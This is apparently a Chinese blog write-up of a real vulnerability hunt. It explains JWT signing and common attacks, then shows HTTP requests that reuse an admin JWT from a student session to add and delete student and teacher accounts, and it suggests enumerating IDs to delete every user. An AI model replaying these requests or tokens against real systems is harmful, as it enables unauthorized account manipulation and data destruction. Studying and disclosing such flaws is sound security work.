记一次JWT伪造的实战漏洞挖掘( 审核大大,本篇文章全程打码,并无敏感信息)

 审核大大,本篇文章全程打码,并无敏感信息

目录

前言

1.JWT的原理

1.1 什么是JWT

1.2 JWT的详细构成

1.3 Base64Url编码详解

2. 举例(JWT完整流程)

1. 用户登录

2. 生成JWT

2.1 第一部分 Header

2.2 第二部分:Payload

2.3 第三部分:Signature

3. 返回JWT

4. 携带JWT进行请求

5. 服务器验证JWT

6. 响应请求

3. JWT三种常见的攻击方式

 4. 实战场景

4.1 JWT学生用户未授权添加teacherh和student用户

未授权添加学生用户

未授权添加老师用户

4.2 未授权遍历删除teacher和student用户

删除学生用户

删除teacher用户

5. 修复建议


                                审核大大,本篇文章全程打码,并无敏感信息

前言

        又是摸鱼的一天,闲的没事,找之前挖到漏洞的一个站玩玩,因为本次漏洞发现的过多写起博文来过长,因此本次单独将JWT这部分找出来进行记录,开局一个框,漏洞全靠扫,哦不对,全靠找.当然全文主要是对利用姿势做个总结,只有思路,没有详细利用,问就是报告写起来太费时间了,下面所有的利用流程图,通过打开新页面放大可以清晰查看,可自行下载用.

免责声明

        博文中涉及的方法可能带有危害性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.

1.JWT的原理

首先先对JWT做一个介绍和记录,不想看的师傅可以直接看实战部分

1.1 什么是JWT

        JWT(JSON Web Token)是一种轻量级的身份验证和信息交换标准,它允许服务之间以JSON对象的形式安全地传输信息。这种信息传输方式之所以安全,是因为JWT通过数字签名来确保信息在传输过程中的完整性和真实性。

1.2 JWT的详细构成

JWT由三个部分组成,每部分之间用点号(.)分隔:

  1. Header(头部):定义了用于签名的算法和令牌的类型。通常,头部的JSON对象经过Base64Url编码后,形成JWT的第一个部分。例如:

    {
      "alg": "HS256", // 签名算法为HMAC SHA-256
      "typ": "JWT"    // 令牌类型为JWT
    }
  2. Payload(负载):包含了所谓的声明(claims),这些声明可以是用户的身份信息、发行者、过期时间等。声明分为三类:

    • Registered claims(注册声明):标准化的声明,如exp(过期时间)、iat(签发时间)等。
    • Public claims(公共声明):社区定义的声明,但不是注册声明,如nonce
    • Private claims(私有声明):自定义声明,用于特定应用的需要。 例如:
    {
      "sub": "12345612334", // 用户ID
      "name": "hello",   // 用户名
      "iat": 1516239213     // 签发时间
    }
  3. Signature(签名):用于验证JWT的完整性和真实性。签名的生成依赖于Header中指定的算法、编码后的Header、编码后的Payload以及一个保密的密钥。例如,使用HMAC SHA-256算法的签名过程如下:

    import hmac, hashlib, base64
    
    header_payload = base64.urlsafe_b64encode(b"{Header}." + b"{Payload}").decode()
    secret = "your-256-bit-secret"
    signature = hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
    signature_base64 = base64.urlsafe_b64encode(signature).decode().strip()
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)

1.3 Base64Url编码详解

        Base64Url编码是Base64编码的URL安全版本,它在JWT中用于编码Header、Payload和生成的Signature,以确保它们可以安全地通过URL传输。Base64Url编码与标准Base64编码的主要区别在于:

  • 使用-代替+和使用_代替/,以避免URL解析错误。
  • 省略了填充字符=,以避免URL长度问题。

2. 举例(JWT完整流程)

        因为本次实战是没有发现JWT有做加密的所以还是无法用来当这个举例的案例的,我就伪造一个来展示一下这个完整的流程

1. 用户登录

        假如本次用户在登录页面输入账号密码,然后进行登录。服务器接收到登录请求并验证用户的凭证。

2. 生成JWT

如果用户的凭证(账号密码)正确,服务器将生成一个JWT。假如服务器将生成的JWT为:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhlbGxvIiwiaWF0IjoxNTE2MjEyMzQ1fQ.5NMJiA55CcTjy1O4fY1dGPFXRKFsANj-O4kv-kZIu-w

2.1 第一部分 Header

详细分解这个JWT的生成过程,一共三个部分,每个部分被点号(.)截断

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

 用JSON Web Tokens - jwt.io进行base64url解码得到

{
"alg": "HS256",
"typ": "JWT"
}

这个头部使用HMAC SHA-256算法进行签名而且是一个JWT。

2.2 第二部分:Payload

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ

base64url解码一下得到

{
  "sub": "1234567890",
  "name": "hello",
  "iat": 1516212345
}

这个负载部分包含了一些声明,比如用户ID(sub)、用户名(name)和签发时间(iat)。

2.3 第三部分:Signature

5NMJiA55CcTjy1O4fY1dGPFXRKFsANj-O4kv-kZIu-w

第三部分签名的生成是由第一部分和第二部分组成的

我们使用密钥(secret)来生成签名。签名是使用以下方法生成的:

  1. 将编码后的Header和Payload用点号(.)连接在一起:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhlbGxvIiwiaWF0IjoxNTE2MjEyMzQ1fQ 

  2. 使用HMAC SHA-256算法和密钥secret对上述字符串进行签名:

    import hmac
    import hashlib
    import base64
    
    header_payload = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhlbGxvIiwiaWF0IjoxNTE2MjEyMzQ1fQ"
    secret = "secret"
    signature = hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
    signature_base64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
    print(signature_base64)

    生成的第三部分签名是:

    5NMJiA55CcTjy1O4fY1dGPFXRKFsANj-O4kv-kZIu-w 

        最后,将编码后的Header、Payload和生成的Signature用点号(.)连接在一起,形成完整的JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhlbGxvIiwiaWF0IjoxNTE2MjEyMzQ1fQ.5NMJiA55CcTjy1O4fY1dGPFXRKFsANj-O4kv-kZIu-w

3. 返回JWT

        服务器将生成的JWT返回给客户端。客户端可以将JWT存储在本地存储(Local Storage)或Cookie中。

4. 携带JWT进行请求

在用户登录后的每次请求中,客户端会在请求头中携带JWT,例如:

Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODE3OTUsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY4MTk1fQ.ZJgVbck7l0GWvAalFlF-DdhBiUR7mlDMY4iqahedl9UOtUeGjUgNb34WFfHsx_Po8428xyono7aZCWCdgBebww

5. 服务器验证JWT

服务器接收到请求后,会验证JWT的签名是否正确。验证过程如下:

  1. 从JWT中提取出header和payload部分。

  2. 使用同样的签名密钥和header中的算法,重新生成签名。

  3. 将重新生成的签名与JWT中的签名进行比较,如果相同,则验证通过。

6. 响应请求

如果JWT有效且未过期,服务器处理请求并返回响应。

3. JWT三种常见的攻击方式

常见攻击方法

  1. 暴力破解签名密钥:攻击者可以使用暴力破解的方法猜测JWT的签名密钥。如果签名密钥比较弱,这种攻击可能会成功。

  2. 算法替换攻击:如果服务器在验证JWT时不严格检查头部的alg字段,攻击者可以将alg字段改为none,绕过签名验证。

  3. 伪造Token:如果服务器使用对称加密算法(如HS256),并且密钥泄露,攻击者可以使用密钥伪造有效的JWT。


 4. 实战场景

        因为本次挖掘是在之前挖掘到其他漏洞基础上进行的挖掘,因为拿到了管理员的密码,所以整个测试的过程还是很轻松的,至于其他其他的测试用户都是通过管理员账号进行注册的.

4.1 JWT学生用户未授权添加teacherh和student用户

还是通过上面的 学生用户进行登录 4602xxxxxxxxxxx/123456

        下面因为使用的数据包为在管理员用户时获取的数据包,尝试通过普通用户的JWT信息进行进行添加,提示无权限,通过伪造管理员的JWT信息(其实就是通过管理员登录后获得到的JWT然后替换学生的),使用学生用户,使用管理员的JWT信息可以发现成功

未授权添加学生用户

接口1:/api/student/add

POST /api/student/add HTTP/1.1
Host: 
Content-Length: 436
Access-Control-Allow-Origin: *
Accept: */*
Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODE3OTUsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY4MTk1fQ.ZJgVbck7l0GWvAalFlF-DdhBiUR7mlDMY4iqahedl9UOtUeGjUgNb34WFfHsx_Po8428xyono7aZCWCdgBebww
User-Agent: 
Origin: 
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: td_cookie=2317365473; JSESSIONID=31B656C66680B71BC4D56886622B718F
Connection: close

{"id":0,"sid":"3222222222222","no":"32222222222222222","name":"322222222222222","sex":"男","birth":"2024-06-11","ethnicity":"蒙古族","address":"222222222222222","idAddress":"2222222222222222222","section":1,"grade":2023,"clazz":7,"tel":"18888888888","guardian1":"","guardian1ID":"","guardian1Relation":"","guardian1Tel":"","guardian2":"","guardian2ID":"","guardian2Relation":"","guardian2Tel":"","pass":"","deleted":"","updated":""}

 可以看到角色信息为学生

将登录学生的JWT替换为管理员的JWT信息 

qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI0NDkiLCJzdWIiOiJhZG1pbiIsImlhdCI6MTcxOTA4MDU1OCwiaXNzIjoiZWNoaXNhbiIsImF1dGhvcml0aWVzIjoiW3tcImF1dGhvcml0eVwiOlwiUk9MRV9hZG1pblwifV0iLCJmcm9tVGFibGUiOiJ0ZWFjaGVyIiwiZXhwIjoxNzE5MTY2OTU4fQ.3dj47oAmKF3QRuhmIyVZ42W7NFEWa_z57Wq4IwA1ef1YmyL-0DPqYLuouOjiCYve8eNXpdUBGGh90bqXH_JnOw  

通过管理员用户查看,成功添加成功

null

未授权添加老师用户

接口2:/api/teacher/add

POST /api/teacher/add HTTP/1.1
Host: 
Content-Length: 181
Access-Control-Allow-Origin: *
Accept: */*
Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODE3OTUsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY4MTk1fQ.ZJgVbck7l0GWvAalFlF-DdhBiUR7mlDMY4iqahedl9UOtUeGjUgNb34WFfHsx_Po8428xyono7aZCWCdgBebww
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Content-Type: application/json
Origin: 
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: td_cookie=2317365473; JSESSIONID=31B656C66680B71BC4D56886622B718F
Connection: close

{"id":0,"name":"edu8889","truthname":"edu8889","tel":"18888888888","pass":"","subject":"数学","grade":2023,"birth":"2024-05-28","role":"","email":"1@qq.com","sex":"男","clazz":1}

还是替换为管理员的JWT信息

Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI0NDkiLCJzdWIiOiJhZG1pbiIsImlhdCI6MTcxOTA4MDU1OCwiaXNzIjoiZWNoaXNhbiIsImF1dGhvcml0aWVzIjoiW3tcImF1dGhvcml0eVwiOlwiUk9MRV9hZG1pblwifV0iLCJmcm9tVGFibGUiOiJ0ZWFjaGVyIiwiZXhwIjoxNzE5MTY2OTU4fQ.3dj47oAmKF3QRuhmIyVZ42W7NFEWa_z57Wq4IwA1ef1YmyL-0DPqYLuouOjiCYve8eNXpdUBGGh90bqXH_JnOw

 通过管理员用户查看,成功添加成功

4.2 未授权遍历删除teacher和student用户

        还是通过上面的 学生用户进行登录 460xxxxxxxxxx/123456 接下来,我只是进行通过编号删除了自己创建的一个测试学生用户以及测试老师账号,这里可以通过前面的未授权获取到的学生id或是直接使用burp从1开始进行编历删除用户即可,危害巨大

操作其实和上面是一样,直接替换JWT为管理员

删除学生用户

 接口1:/api/student/delete/915253

GET /api/student/delete/915253 HTTP/1.1
Host: 
Access-Control-Allow-Origin: *
Accept: */*
Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODMzMDgsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY5NzA4fQ.aF3OqtvSt0K8-GuUqynmCFa1v9t8yj73FJbx79NYZE1Tyjv1w-_kbpCLXwBIAdMGtQmdQgaaRsAlyX7JJ1hrug
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: td_cookie=2317365473; JSESSIONID=B41705A40AC15FD2DB994E8C5417FE04
Connection: close

还是替换为管理员的JWT信息

Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI0NDkiLCJzdWIiOiJhZG1pbiIsImlhdCI6MTcxOTA4MDU1OCwiaXNzIjoiZWNoaXNhbiIsImF1dGhvcml0aWVzIjoiW3tcImF1dGhvcml0eVwiOlwiUk9MRV9hZG1pblwifV0iLCJmcm9tVGFibGUiOiJ0ZWFjaGVyIiwiZXhwIjoxNzE5MTY2OTU4fQ.3dj47oAmKF3QRuhmIyVZ42W7NFEWa_z57Wq4IwA1ef1YmyL-0DPqYLuouOjiCYve8eNXpdUBGGh90bqXH_JnOw

删除teacher用户

接口2:/api/teacher/delete/857009

GET /api/teacher/delete/857009 HTTP/1.1
Host: 
Access-Control-Allow-Origin: *
Accept: */*
Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODMzMDgsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY5NzA4fQ.aF3OqtvSt0K8-GuUqynmCFa1v9t8yj73FJbx79NYZE1Tyjv1w-_kbpCLXwBIAdMGtQmdQgaaRsAlyX7JJ1hrug
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: td_cookie=2317365473; JSESSIONID=B41705A40AC15FD2DB994E8C5417FE04
Connection: close

还是替换为管理员的JWT信息

Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI0NDkiLCJzdWIiOiJhZG1pbiIsImlhdCI6MTcxOTA4MDU1OCwiaXNzIjoiZWNoaXNhbiIsImF1dGhvcml0aWVzIjoiW3tcImF1dGhvcml0eVwiOlwiUk9MRV9hZG1pblwifV0iLCJmcm9tVGFibGUiOiJ0ZWFjaGVyIiwiZXhwIjoxNzE5MTY2OTU4fQ.3dj47oAmKF3QRuhmIyVZ42W7NFEWa_z57Wq4IwA1ef1YmyL-0DPqYLuouOjiCYve8eNXpdUBGGh90bqXH_JnOw

5. 修复建议

        为了确保系统的安全性和稳定性,建议采取以下综合措施:加强身份验证和访问控制,实施多因素认证,使用强加密标准保护JWT和敏感数据,强化输入验证和错误处理,定期进行代码审查和安全测试,使用自动化工具辅助检测逻辑缺陷,制定和测试应急响应计划,以及对开发团队进行安全意识培训。同时,建立反馈机制,鼓励内外反馈,以持续改进系统的安全性。通过这些措施,可以显著降低未授权访问、数据泄露、逻辑缺陷等安全风险,保护系统和用户数据不受威胁。

  • 17
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XError_xiaoyu

你的支持,使我更好的创作

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值